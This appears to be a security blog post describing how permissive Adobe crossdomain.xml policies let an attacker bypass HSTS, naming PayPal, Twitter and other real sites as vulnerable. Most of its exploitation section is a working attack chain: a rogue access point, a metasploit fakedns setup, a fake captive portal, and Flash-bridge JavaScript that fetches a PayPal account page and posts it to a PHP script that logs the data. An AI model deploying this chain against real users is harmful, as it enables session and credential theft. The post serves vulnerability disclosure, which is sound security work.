Bypassing HSTS via Adobe CrossDomain.xml

Bypassing HSTS when Adobe crossdomain.xml is configured to be overly permissive.

Synopsis

Domains protected by HSTS which use an Adobe CrossDomain Policy (poorly configured) are vulnerable to the very attacks which HSTS is meant to protect against. The issue presents itself when the CrossDomain Policy allows access from domains without HSTS protections. The most damning configurations allow an attacker to bypass protections on sites which are part of a browsers HSTS preload list. Some example vulnerable websites include:

  • paypal.com
  • chase.com
  • amazon.com
  • twitter.com
  • youtube.com
  • bing.com
  • yahoo.com

In the past we’d be able to perform an SSL Man-In-The-Middle attack against a target domain (such as paypal.com) and spoof our own self signed certificate. This would require the end user to accept the certificate warning, however now due to HSTS and in particular the HSTS Preload list and Certificate Pinning, this attack is no longer an option. However with the crossdomain.xml vulnerability we can execute the same attack on a domain that is allowed to pull content from the target domain, the user will still have to accept the certificate warning, but now we can bypass the HSTS restriction and access content on the target domain.

In the best case the user will already have a valid session to the target domain and we’ll be able to access the target website in it’s entirety.

Quick Side Note: It appears that silverlight might expose the same vulnerability with it’s clientaccesspolicy.xml file, however I have not had a chance to test this yet.

You can find all the files mentioned here at https://github.com/tdubs/hsts

Background

Source: https://www.chromium.org/hsts

One of the several new features in Chrome is the addition of HTTP Strict Transport Security. HSTS allows a site to request that it always be contacted over HTTPS. HSTS is supported in Google Chrome, Firefox, Safari, Opera, and IE is planning support (caniuse.com has a compatibility matrix).

The issue that HSTS addresses is that users tend to type http:// at best, and omit the scheme entirely most of the time. In the latter case, browsers will insert http:// for them.

However, HTTP is insecure. An attacker can grab that connection, manipulate it and only the most eagle eyed users might notice that it redirected to https://www.bank0famerica.com or some such. From then on, the user is under the control of the attacker, who can intercept passwords etc at will.

To solve the issue with user’s typing HTTP entirely browser’s also conain an HSTS preload list which allows domain owners to opt-in their domains to always require HTTPS, and if they desire to also require the certificate be signed by a trusted Certification Authority! Check out the Chrome HSTS Preload List at: https://cs.chromium.org/chromium/src/net/http/transport_security_state_static.json

Adobe CrossDomain Policy File

Source: http://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html

A cross-domain policy file is an XML document that grants a web client—such as Adobe Flash Player, Adobe Reader, etc.—permission to handle data across multiple domains. When a client hosts content from a particular source domain and that content makes requests directed towards a domain other than its own, the remote domain would need to host a cross-domain policy file that grants access to the source domain, allowing the client to continue with the transaction. Policy files grant read access to data, permit a client to include custom headers in cross-domain requests, and are also used with sockets to grant permissions for socket-based connections.

Exploiting a Poorly Configured CrossDomain.xml File

The problem manifests itself when a domain which is protected by HSTS utilizes the crossdomain.xml file and allows access from a site that does not require HSTS and/or is not part of the HSTS preload list. This is surprisingly common among some of the most popular domains on the Internet.

In the worst case the policy can be configured so that any domain can access content on the target domain as in the policy below.

<?xml version=”1.0″ ?>
<cross-domain-policy>
<allow-access-from domain=”*” />
</cross-domain-policy>

Twitter Crossdomain.xml example shows us that a few specific domains are allowed to request content (serach, api, static):

<cross-domain-policy xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance xsi:noNamespaceSchemaLocation=”http://www.adobe.com/xml/schemas/PolicyFile.xsd>
<allow-access-from domain=”twitter.com/>
<allow-access-from domain=”api.twitter.com/>
<allow-access-from domain=”search.twitter.com/>
<allow-access-from domain=”static.twitter.com/>
<site-control permitted-cross-domain-policies=”master-only/>
<allow-http-request-headers-from domain=”*.twitter.com headers=”* secure=”true/>
</cross-domain-policy>
Even worse Paypals is an example of entire subdomains being allowed:
<cross-domain-policy>
<allow-access-from domain=”*.paypal.com/>
<allow-access-from domain=”*.paypalobjects.com/>
</cross-domain-policy>

Exploitation Overview

As long as the attacker has a MITM on the client’s DNS requests we can perform this attack. One perfect example where this is not only feasible but very easy is the case of a rogue access point. In this case we’d perform the following:

  • DHCP provides attacker laptop as gateway and DNS server to client devices
  • User queries for any domain / webpage
  • We redirect the user to a generic wireless captive portal page
  • The captive portal page includes an iframe for an authorized domain in the crossdomain.xml file of our target website (eg; search.paypal.com)
  • That domain (search.paypal.com) also resolves to our malicious access point
  • The page specified in the iframe loads a flash object which makes a call to the target domain (paypal.com)
  • The search.paypal.com page then relays any information we want back to our system which then records all the data

Exploitation

To exploit we need a client that will read and respect the CrossDomain.xml file. Adobe gives us a few examples, for our purposes the Flash player is a perfect choice.

If we were worried about being stealthy we might want to compile our own flash object for our specific purposes but for testing there’s a great option that allows us to create an HTTP request from a Flash file controlled by Javascript using the git project at https://github.com/mandatoryprogrammer/FlashHTTPRequest

For our example we’re simulating a very basic wireless captive portal. Once we’ve handed out our IP address as the DNS server for the client. Then regardless of the DNS record requested by the user they will receive an answer with the IP address of our machine. To accomplish this we’ll use the metasploit module fakedns, with the following configuration.

msf > use auxiliary/server/fakedns
msf auxiliary(fakedns) > set TARGETHOST 10.0.0.1
TARGETHOST => 10.0.0.1
msf auxiliary(fakedns) > set TARGETDOMAIN paypal.com http://www.paypal.com
TARGETDOMAIN => paypal.com http://www.paypal.com
msf auxiliary(fakedns) > set TARGETACTION BYPASS
TARGETACTION => BYPASS
msf auxiliary(fakedns) > exploit
[*] Auxiliary module execution completed
[*] DNS server initializing
[*] DNS server started
msf auxiliary(fakedns) >

Note that we configure the targetdomain variable to the domain we ultimately want access to, and we configure the fakedns module to allow the end user to correctly resolve the real address for the domain with the BYPASS action.

Then we have to configure the Apache web server on our host. Kali comes with a default ssl configuration which we can use. If we were doing this during a real exercise we might want to register a domain that seems like a legitimate captive portal domain, and register for a legitimate SSL certificate. But for our purposes here we’ll just use the self signed certificate.

To enable the SSL site perform the following:

cd /etc/apache2/sites-available/
cp default-ssl ../sites-enabled/
service apache2 restart

Then edit the default-ssl configuration file and add the following:

RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule . index.htm [L]

This configuration specifies that if the requested directory ( ! -d) does not exist and the requested file ( ! -f) does not exist (on our web server) then the user will be redirected to index.htm. Thus at this point no matter the Domain or URL requested by the user they will be redirected to our captive portal page at index.htm.

File: index.htm

<html>
<body>
Please accept our terms of service to continue using this wireless network<br>

https://search.paypal.com/hsts.htm

<button onclick=”window.open(‘https://search.paypal.com/hsts.htm&#8217;, ‘Paypal’, ‘width=400, height=400’);”>
<code>Agree</code>
</button>

</body>
</html>

You’ll notice in the index.htm file that we’re loading an iframe for search.paypal.com. When the client attempts to resolve this address they will again be pointed back at our attacking machine and the users browser will load the hsts.html file on our web server.

We’ve also included an authorize button which brings up the same page in a new window. Some sites fail to correctly load in an iframe. I believe it’s due to X-Frame-Options headers, but I’m not positive. I suggest testing with the specific target site to see which method works best.

File: hsts.htm

<html>
<head>
<meta charset=”utf-8″/>
http://flashhttprequest.js

// This function will be called when the Flash bridge has been loaded
function onhook() {
FlashHTTPRequest.open(‘GET’, ‘https://paypal.com/myaccount/home&#8217;, ”, ‘post_receiver’ );
}

function post_receiver( response ) {
var data = encodeURIComponent(response);
// console.log( data );

var xmlhttp = new XMLHttpRequest();
var url = “process.php”;
var params = “data=” + data;
xmlhttp.open(“POST”, url, true);
xmlhttp.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);
xmlhttp.send(params);
//alert(xmlhttp.responseText);
}

</head>
<body>

</body>
</html>

After we make the request to paypal.com with the call to FlashHTTPRequest.open we then take the results and send them to our process.php page, which as you can see below simply saves all the data we send in the ‘data’ variable.

File: process.php

<?php
$req_dump = $_POST[‘data’];

$fp = fopen(‘out.txt’, ‘a’);
fwrite($fp, $req_dump);
fclose($fp);
?>

Note that this example is specific to paypal, but we could easily create multiple requests for as many different targets as we wish.

There you have it. At this point we’ve bypassed HSTS and we can perform anything we can during a normal Man-In-The-Middle attack, such as grabbing usernames, passwords, session IDs, etc.

 

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: